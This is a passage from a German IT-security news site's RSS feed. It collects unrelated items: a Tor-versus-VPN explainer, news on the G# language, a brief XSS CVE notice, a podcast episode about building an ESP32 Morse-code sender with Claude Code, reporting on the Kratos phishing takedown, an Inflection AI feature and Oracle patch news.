Tor arbeitet architektonisch völlig anders und hat mit den unteren Netzwerkschichten (Schicht 2 und 3) primÀr nichts zu tun. Es erstellt keine virtuelle Netzwerkkarte im Betriebssystem.

  • Anwendungsschicht (Schicht 7) & Transportschicht (Schicht 4): Das Tor-Programm lĂ€uft lokal als Stellvertreter-Dienst (SOCKS-Proxy). Eure Software (z. B. der Browser) muss explizit so konfiguriert werden, dass sie diesen Stellvertreter anspricht. Tor nimmt diese Anfragen entgegen und wickelt den Datenstrom ausschließlich ĂŒber die Transportschicht ab – und hier auch nur fĂŒr das TCP-Protokoll.
  • Keine rohen Pakete: Tor transportiert keine IP-Datenpakete (Schicht 3) und keine Ethernet-Datenrahmen (Schicht 2). Verbindungslose UDP-Pakete oder simple Ping-Abfragen (ICMP) werden vom Tor-Netzwerk schlichtweg nicht weitergeleitet.

Die Konsequenz fĂŒr die IT-Sicherheit (Datenlecks)

Aus Sicht der Informationssicherheit ergibt sich daraus ein massiver Unterschied im Gefahrenpotenzial:

Da ein klassisches VPN auf der Vermittlungsschicht (Schicht 3) arbeitet, fÀngt es als Standard-Netzweg (Default Gateway) den gesamten Verkehr des Betriebssystems ein.

Das Zwiebelnetzwerk hingegen ist stark anfĂ€llig fĂŒr Datenlecks (Leakage), da es auf Schicht 4 und 7 operiert. Wenn eine Anwendung auf dem Rechner nicht strikt an den Tor-Stellvertreter (Proxy) gebunden ist, oder wenn sie versucht, ĂŒber das verbindungslose UDP-Protokoll eine Namensauflösung (DNS-Anfrage) durchzufĂŒhren, wandern diese Datenpakete unverschlĂŒsselt am Zwiebelnetzwerk vorbei ins normale Internet. Eure echte IP-Adresse wĂ€re in diesem Fall sofort enttarnt. Um Tor so abzusichern, dass es wie ein VPN den gesamten Rechnerverkehr schĂŒtzt (auf Schicht 3 erzwingt), bedarf es spezialisierter Betriebssysteme wie Tails oder dedizierter Hardware-Zwischenstationen.

submitted by /u/Horus_Sirius
[link] [comments]]]> <![CDATA[G# language for .NET borrows from Go, Kotlin, and Swift]]> https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/ https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/ Thu, 23 Jul 2026 04:08:47 +0200 🔧 AI Nachrichten tsecurity.de

G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.

Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, func, structs, slices, maps, channels, go, select, and for in iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency.

With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses scope for structured concurrency, async func and await for task-based asynchrony, and async sequence[T] for asynchronous streams. G# also makes use of the same Task and Task[T] types familiar from the .NET BCL (Base Class Library).

G# documentation is available on the GitHub site of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and for in over IEnumerable[T] all just work,” according to the website.

A Visual Studio Code extension for G3 can be found at marketplace.visualstudio.com. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for .gs and .gsproj files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.

]]> <![CDATA[CVE-2022-3949 | Sourcecodester Simple Cashiering System User Account fullname cross site scripting (EUVD-2022-43283)]]> https://tsecurity.de/de/3687802/sicherheitsluecken/cve-2022-3949-sourcecodester-simple-cashiering-system-user-account-fullname-cross-site-scripting-euvd-2022-43283/ https://tsecurity.de/de/3687802/sicherheitsluecken/cve-2022-3949-sourcecodester-simple-cashiering-system-user-account-fullname-cross-site-scripting-euvd-2022-43283/ Thu, 23 Jul 2026 02:12:08 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic has been found in Sourcecodester Simple Cashiering System. Affected is an unknown function of the component User Account Handler. Executing a manipulation of the argument fullname can lead to cross site scripting. The identification of this vulnerability is CVE-2022-3949. The attack may be launched remotely. There is no exploit available.]]> <![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]> https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ Thu, 23 Jul 2026 02:06:01 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

Hello, again. This is Trey.

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.

If you wish to catch up on earlier episodes, you can find them on my HPR profile page https://www.hackerpublicradio.org/correspondents/0394.html

It is hard to believe that I started this project and the HPR series to document it more than a year ago. Time flies. Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside. And once I set it aside, it was difficult to get back to again. The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.

We live in a different world now than we did when I began this project. Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs. "Vibe coding" is transforming the way we make software, and now everyone is a developer.

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work. We are blessed to have access to a wide range of training and to powerful tools which support the process. Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more. My role is not that of a developer, and I have had no need for Claude Code at work. There are plenty of other tools for me to use.

But at home, I thought... I could install Claude Code at home to experiment with and to learn. And then it hit me. I wonder if I could use Claude Code to help me with my stalled CYD project.

"Hello, my name is Trey, and I am a fraud."

OK. I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

As I mentioned, I was unable to use the laptop on which I created the original GUI code. But no worries, because It was all on GitHub, right?

So, I began by trying to install Claude Code on one of my Ubuntu machines. That failed miserably, and all the instructions I found online recommended running it on Windows. So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11. Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

Once I went through all the hoops for installing and setting up my basic subscription, I got to work. I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan. So my first prompt was as follows:

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

Claude asked me for the URL for my Github repository, and I provided it. After thinking for a bit, it produced a project plan.

CYD Morse Sender — Step-by-Step Build Plan

What You Already Have

- 3 fully designed LVGL screens (Send, Config, Keyboard)

- 7 send buttons with green styling on the Send Screen

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

- Text area + LVGL keyboard widget on Keyboard Screen

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

---

Phase 1: Fix Touchscreen Input

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.

Phase 2: Persistent Message Storage

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

Phase 3: Config Screen — Slot Selection & Speed

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

Phase 4: Keyboard Screen — Capture and Save Text

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

Phase 5: Morse Code Engine

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

Phase 6: Non-Blocking LED Transmission

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay(). LED on GPIO 17 (blue).

Phase 7: Wire the Send Buttons

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

Phase 8: Integration & Polish

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

---

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

This was wild! Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out". Ugh. This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - https://hackerpublicradio.org/eps/hpr4532/index.html ) and not the ones that I finally got working properly (Episode 07 – HPR4624 - https://hackerpublicradio.org/eps/hpr4624/index.html ). That was my own fault. Did I mention that I don't get Git? I REALLY need to learn to properly use Git!

But, we have a plan, broken down by eight numbered phases. And they seem to address all the functionality I wanted with a few additional things I had not thought about. Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

Alright. Let's see what we can do. The first phase is to fix the touchscreen input.

Claude took me through it step-by-step, asking as it needed to read specific project files.

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test. I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

Well, that is... interesting. The display looked nothing like it was supposed to. There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.

I spent the next hour or so trying to explain what I was seeing to a chat bot. Claude recommended potential fixes which either did nothing or made the situation worse. I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.

Then I had a thought. I prompted Claude:

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed. It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file. It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.

It recommended changes, and then asked permission to make those changes, file by file. .h files & .c files, Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time. Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes. But now it was not asking additional permission to write to each of the impacted files.

Next, Code compiled and downloaded. Different screen, but not right. Again, I took a picture and gave it to Claude to analyze. So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

The test pattern was supposed to cover the entire rectangular screen. But parts of the pattern were in a square on the screen and parts were not. Another photograph and analysis, told Claude that there were some rotation/screensize issues.

We repeated this several times. Some resulted in improvement, and others did not.

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app. But I noticed something interesting about myself and about the process.

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution. Then another problem would repeat the cycle. Success in the end was great, but the emotional extremes during the process were not always pleasant.

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

But I also ran into another issue. Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were. But in reality, the output of the test pattern was rotated 90 degrees from the actual screen. It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates. It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

Again, while it was frustrating, it was much less stressful.

We proceeded to Phase 2: Persistent Message Storage where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

Next, we combined elements of Phase 5: Morse Code Engine , Phase 6: Non-Blocking LED Transmission , and Phase 7: Wire the Send Buttons together. Building the morse code engine was an area I had been thinking about for a while. I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series. The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.

So, I was happy that we were building the morse code engine directly. The code for it may be found in morse.h, which uses a constant character lookup table to define each character. Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series. It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

Then, Phase 3: Config Screen — Slot Selection & Speed allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure. This forced us to work on Phase 4: Keyboard Screen — Capture and Save Text which is used to type the entries for each Send button. At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

During this phase we discovered several bugs which seemed to cause random freezes. Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me". I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project. I still do not 100% get git, but we are successfully using it.

You can find all these files in my GitHub repo ( https://github.com/jttrey3/CYD_MorseSender ) where they are shared under a GPL 3.0 license.

There are still several additional steps I plan to complete in the next few months.

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio. This will require a battery power source, charge controller, and more hardware.

  1. I... make that "We" (Claude & I) will be modifying the code to support an audio side tone through an attached speaker when sending code
  2. We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.
  3. We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.

Does using AI to develop this code make me a fraud? It still feels like it in some ways.

Does it make me more productive? ABSOLUTELY! I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week. If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

Does it empower and inspire me to do more projects like this? 100% I feel like I had support working with me the whole way. I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

Until next time...

Provide feedback on this episode.

]]> <![CDATA[German law enforcement claims to have ‘dismantled’ mega phishing-as-a-service group Kratos]]> https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/ https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/ Thu, 23 Jul 2026 01:57:56 +0200 📰 IT Security Nachrichten tsecurity.de

A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. 

The effort was managed by German law enforcement and involved agencies from the US, Indonesia and other countries.

Although a German statement claimed that the Kratos infrastructure “has been completely disabled” and that “Kratos-supported phishing campaigns can no longer be carried out,” cybersecurity analysts and consultants question how much of a dent in enterprise phishing activity will result, and how long it will last.

“A server seizure and a single arrest overseas remove infrastructure, not the intellectual property,” said Frank Dickson, group VP for security at IDC. “PhaaS kits get cloned, forked and resold routinely, and the 1,800 Kratos customers didn’t vanish. They just lost a vendor in a market where vendors get replaced fast.”

He added, “seizing 200-plus servers and arresting the developer pulls a major supplier out of that specific niche. It doesn’t touch the broader phishing economy. For every roach that you squish, there are a hundred that you do not see.”

Noah Kenney, principal consultant at Digital 520, takes an even more pessimistic view, arguing that there might not even be that much of a short-term phishing slowdown. 

“What makes this different from a botnet or ransomware takedown is that the people running the attacks were never part of the organization. Kratos was just a vendor,” Kenney said. “The 1,800 customers who bought it still have their target lists, their sending infrastructure and whatever access they had already established. The tooling went dark, but the people phishing your employees last week are still working, shopping for a replacement that already exists. Enterprises should not read this as a drop in (likely) threat volume.”

One thing that the security community seems to agree on is that Kratos was a major player in the lucrative PhaaS space. But precisely determining the percentage of PhaaS activity controlled by Kratos is impossible, given that Kratos sold their kits to others. Security researchers even disagree on what they should call Kratos kits.

“Microsoft tracks this kit as SneakyLog, others tie it to Sneaky 2FA, and KnowBe4 disputes the lineage entirely. When the security industry cannot agree on what a kit is to be called, that is because renaming and reselling is continuous rather than something that happens after a raid,” Kenney said. “What actually changed this time is the arrest and the [shutdown of the] servers. Standing up new hosting is only a weekend of work, but replacing a developer who understood how to keep an adversary in the middle proxy stable and evasive at scale is harder.”

IDC’s Dickson added that the biggest value from the takedown is in the information gleaned from the seized servers. 

“Kratos operated in the adversary-in-the-middle category, generating convincing fake Microsoft 365 login pages that harvest session tokens and step past MFA, the exact technique behind a lot of the business email compromise activity of the past two years,” he said. “I would love to see what law enforcement does with the customer list. That, my friend, is gold.”

Regardless, Assaf Morag, a cybersecurity researcher at Flare, dubbed the German crackdown “symbolic,” given Kratos’ reach within phishing circles. 

He argued that the very nature of software makes it all but impossible to shut down in a meaningful way.

“Although this is malicious infrastructure, it is still software, and modern development and deployment practices make it relatively quick to rebuild or replicate,” he said. “Demand is likely to shift to competing providers, allowing the ecosystem to recover even if this particular operation has been disrupted.”

Pieter Arntz, malware intelligence researcher at Malwarebytes, agreed that the crackdown is disruptive but not definitive. 

“This appears to be more than a routine website seizure. The reporting points to a PhaaS platform with centralized infrastructure, subscription-style customers, and Microsoft 365 session theft / MFA-bypass tooling, so taking down the backend likely hurts many downstream affiliates at once. In that sense, it is a meaningful disruption to the phishing ecosystem, not just one campaign,” Arntz said.

But, he added, “a rebrand or partial re-emergence is plausible, which is the historical pattern for PhaaS operations. Even if the core infrastructure is gone, the code, customer lists, and operator tradecraft can survive.”

This means that customers and affiliates can shift to other phishing kits, he said, so it’s likely that the takedown will create a temporary decline in Kratos-specific activity, but probably not a lasting reduction in phishing overall.

Flavio Villanustre, CISO for the LexisNexis Risk Solutions Group, also concluded that the impact of this crackdown will be short-lived. 

“For each criminal organization that is dismantled, ten new ones pop out of nowhere. Unless there is a coordinated international effort by more than a few countries, this is a whack-a-mole exercise,” he said. “These are all loosely connected individuals and akin to a lernaean hydra, with two heads growing whenever you chop off one. Their leadership emerges from their lines organically without a real center of control. This makes it almost impossible to completely eliminate these criminal organizations.”

]]> <![CDATA[How Attackers Can Force AI Agents to Trust Them—and Rewrite Agents Reality]]> https://tsecurity.de/de/3687724/it-security-nachrichten/how-attackers-can-force-ai-agents-to-trust-them-and-rewrite-agents-reality/ https://tsecurity.de/de/3687724/it-security-nachrichten/how-attackers-can-force-ai-agents-to-trust-them-and-rewrite-agents-reality/ Thu, 23 Jul 2026 00:52:34 +0200 📰 IT Security Nachrichten tsecurity.de Inside the New Attack Class That Breaks the Security Model Behind Modern AI Assistants For decades, software security has relied on a deceptively simple principle: never let untrusted data becomeRead More →

The post How Attackers Can Force AI Agents to Trust Them—and Rewrite Agents Reality appeared first on Cyber Security News | Exploit One | Hacking News.

]]> <![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]> https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/ https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/ Wed, 22 Jul 2026 22:58:21 +0200 📰 IT Nachrichten tsecurity.de Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.

The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.

"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.

Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.

Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional

White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.

"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."

White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.

"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."

That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.

Inside Pi Journeys, the AI companion that maps your relationships and life stages

Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.

"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.

White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.

Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."

The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.

What Inflection's consumer AI research reveals about how people actually use chatbots

Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.

More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.

"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."

This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."

He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.

How the $650 million Microsoft deal hollowed out Inflection — and set up its second act

To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.

Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.

White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.

Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.

Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.

The six-month prediction: relationship-aware AI is coming to the enterprise

Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."

If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.

The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."

That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.

Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.

Can a diminished Inflection compete with AI giants spending billions?

Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."

The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.

But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.

Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."

Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.

]]> <![CDATA[Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out]]> https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/ https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/ Wed, 22 Jul 2026 21:08:52 +0200 📰 IT Security Nachrichten tsecurity.de JWT-based authentication is simple to start with and surprisingly hard to get right. The naive setup of a long-lived access token stored in the browser is a security liability. The textbook fixes short-lived access tokens plus a refresh token —


Read more →

The post Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out appeared first on IT Security News.

]]> <![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]> https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/ https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/ Wed, 22 Jul 2026 20:52:40 +0200 🔧 AI Nachrichten tsecurity.de

Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.

Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).

